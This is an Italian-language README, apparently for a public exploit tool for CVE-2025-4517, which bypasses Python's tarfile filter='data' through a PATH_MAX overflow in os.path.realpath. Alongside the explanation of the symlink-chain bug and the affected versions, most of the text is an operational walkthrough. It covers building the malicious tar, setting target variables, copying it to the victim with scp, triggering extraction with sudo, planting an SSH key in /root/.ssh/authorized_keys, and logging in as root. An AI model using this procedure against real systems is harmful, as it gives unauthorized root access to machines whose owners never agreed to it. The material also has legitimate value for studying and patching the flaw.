
Python tarfile data filter bypass tramite overflow di PATH_MAX in os.path.realpath() - CVE-2025-4517 / CVE-2025-4330
tarfile tramite overflow di PATH_MAXAutore: 0xDTC CVE: CVE-2025-4517 / CVE-2025-4330 Avviso: GHSA-6r6c-684h-9j7p Correzione CPython: PR #135037
tarfile.extractall(filter="data") di Python dovrebbe estrarre archivi tar in modo sicuro prevenendo il path traversal (percorsi assoluti, sequenze .. e collegamenti simbolici che escono dalla destinazione). Tuttavia, un bug in os.path.realpath(strict=False) permette di bypassare completamente questo filtro.
Quando il percorso risolto supera PATH_MAX (4096 byte su Linux), os.path.realpath() smette silenziosamente di risolvere i collegamenti simbolici e ripiega su manipolazioni di stringhe. Ciò significa che una catena di collegamenti simbolici accuratamente costruita può ingannare Python facendogli credere che un collegamento simbolico risolva all'interno della directory di estrazione, quando in realtà esce verso /.
| Ramo | Affette | Corretto in |
|---|---|---|
| 3.12.x | 3.12.0 – 3.12.10 | 3.12.11 |
| 3.13.x | 3.13.0 – 3.13.3 | 3.13.4 |
| 3.14.x | 3.14.0a1 – 3.14.0a7 | 3.14.0b1 |
L'exploit costruisce un archivio tar contenente:
realpathL'idea chiave: seguire a/b/c/.../p attraverso collegamenti simbolici brevi rimane sotto PATH_MAX, ma realpath espande ciascuno di essi nel nome reale della directory di circa 240 caratteri. Quando si arriva al nome del collegamento di 254 caratteri, il percorso risolto supera 4096 byte e realpath si arrende — restituendo silenziosamente un risultato errato.
flowchart TD
A["Attacker crafts malicious tar"] --> B["tar contains:
16 dir/symlink pairs
254-char escape symlink
'escape' symlink to /
payload file"]
B --> C["Target extracts with
tarfile.extractall(filter='data')"]
C --> D{"Python resolves symlinks
via os.path.realpath()"}
D --> E["Follows short symlinks a→ddd...d
Resolved path grows with each step"]
E --> F{"Resolved path length
> PATH_MAX (4096)?"}
F -->|"No (normal)"| G["realpath correctly resolves
Symlink blocked by filter ✓"]
F -->|"Yes (overflow!)"| H["realpath STOPS resolving
Falls back to string manipulation"]
H --> I["Python thinks symlink
resolves INSIDE extraction dir"]
I --> J["Filter PASSES the symlink ✗"]
J --> K["OS follows symlink correctly
'escape' resolves to /"]
K --> L["Payload written to
arbitrary file on disk"]
style F fill:#ff6b6b,color:#fff
style H fill:#ff6b6b,color:#fff
style J fill:#ff6b6b,color:#fff
style L fill:#ff6b6b,color:#fff
style G fill:#51cf66,color:#fff
sequenceDiagram
participant A as Attacker Machine
participant T as Target Machine
Note over A: Phase 1 — Preparation
A->>A: Generate SSH keypair (ssh-keygen)
A->>A: Configure exploit variables<br/>(DEST_DIR, DEPTH_TO_ROOT, etc.)
A->>A: Run CVE-2025-4517.py or .go<br/>to generate malicious tar
Note over A,T: Phase 2 — Delivery
A->>T: Transfer malicious tar to target<br/>(scp, wget, curl, ftp, etc.)
T->>T: Place tar in location accessible<br/>to the vulnerable script
Note over T: Phase 3 — Exploitation
T->>T: Trigger extraction via the<br/>vulnerable Python script
T->>T: Python calls tarfile.extractall(filter="data")
Note over T: What Python sees vs reality
T->>T: realpath() overflows at PATH_MAX
T->>T: Filter thinks "escape" symlink is safe
T->>T: OS follows "escape" → resolves to /
T->>T: Payload written to /root/.ssh/authorized_keys
Note over A,T: Phase 4 — Access
A->>T: SSH as root using the written key
T-->>A: Root shell obtained
graph LR
subgraph "Tar Members (extracted in order)"
D1["📁 ddd...d/"] --> S1["🔗 a → ddd...d"]
D2["📁 ddd...d/ddd...d/"] --> S2["🔗 ddd...d/b → ddd...d"]
D3["📁 ...16 levels..."] --> S3["🔗 .../p → ddd...d"]
S4["🔗 a/b/.../p/lll...254...l<br/>→ ../../ × 16"]
S5["🔗 escape<br/>→ a/b/.../p/lll...l/../../ × DEPTH"]
F1["📄 escape/root/.ssh/authorized_keys<br/>(payload content)"]
end
S1 -.->|"short path<br/>stays small"| S2
S2 -.-> S3
S3 -.-> S4
S4 -.->|"254 chars pushes<br/>past PATH_MAX"| S5
S5 -.->|"resolves to /"| F1
Entrambi gli script hanno una sezione di configurazione all'inizio con queste variabili:
Opzione A: Python
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.py — update DEST_DIR, DEPTH_TO_ROOT, PAYLOAD, OUTPUT
# 3. Generate the malicious tar
python3 CVE-2025-4517.py
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
Opzione B: Go
# 1. Generate SSH keypair
ssh-keygen -t ed25519 -f root_key -N ''
# 2. Edit CVE-2025-4517.go — update destDir, depthToRoot, payload, output
# 3. Generate the malicious tar
go run CVE-2025-4517.go
# 4. Transfer to target
scp backup_99.tar user@target:/path/to/backups/
# Trigger extraction via the vulnerable Python script
# The exact command depends on how the target script is invoked
# Example:
sudo /usr/bin/python3 /path/to/vulnerable_script.py --backup backup_99.tar --restore extract_dir
# SSH as root using the planted key
ssh -i root_key root@target
Conta il numero di directory da / al tuo percorso di estrazione:
/tmp/staging/extract_dir/
(1) (2) (3)
DEPTH_TO_ROOT = 3
/var/lib/app/data/staging/
(1) (2) (3) (4) (5)
DEPTH_TO_ROOT = 5
/opt/restore/backups/output_dir/
(1) (2) (3) (4)
DEPTH_TO_ROOT = 4
Qualsiasi script Python che utilizza tarfile.extractall() con filter="data" su una versione affetta è potenzialmente sfruttabile:
import tarfile
with tarfile.open("archive.tar", "r") as tar:
tar.extractall(path="/some/directory", filter="data") # VULNERABILE
Il filter="data" è stato introdotto come misura di sicurezza per prevenire attacchi di path traversal nei tar. Ironia della sorte, la vulnerabilità risiede proprio nel meccanismo (os.path.realpath) su cui il filtro si basa per convalidare le destinazioni dei collegamenti simbolici.
Questo strumento è fornito esclusivamente per test di sicurezza autorizzati, scopi educativi e ricerca. Usalo solo contro sistemi di cui sei proprietario o per cui hai esplicita autorizzazione scritta. L'accesso non autorizzato a sistemi informatici è illegale. L'autore non è responsabile per qualsiasi uso improprio di questo strumento.
| Variabile | Descrizione | Esempio |
|---|
DEST_DIR | Percorso completo della directory di estrazione sul target | /tmp/staging/extract_dir/ |
DEPTH_TO_ROOT | Numero di directory da / a DEST_DIR | 4 per /opt/app/staging/dir/ |
TARGET_FILE | File da scrivere, relativo a / | root/.ssh/authorized_keys |
PAYLOAD | Contenuto da scrivere nel file di destinazione | La tua chiave pubblica SSH |
OUTPUT | Nome del file tar in uscita | Deve corrispondere al pattern atteso dal target |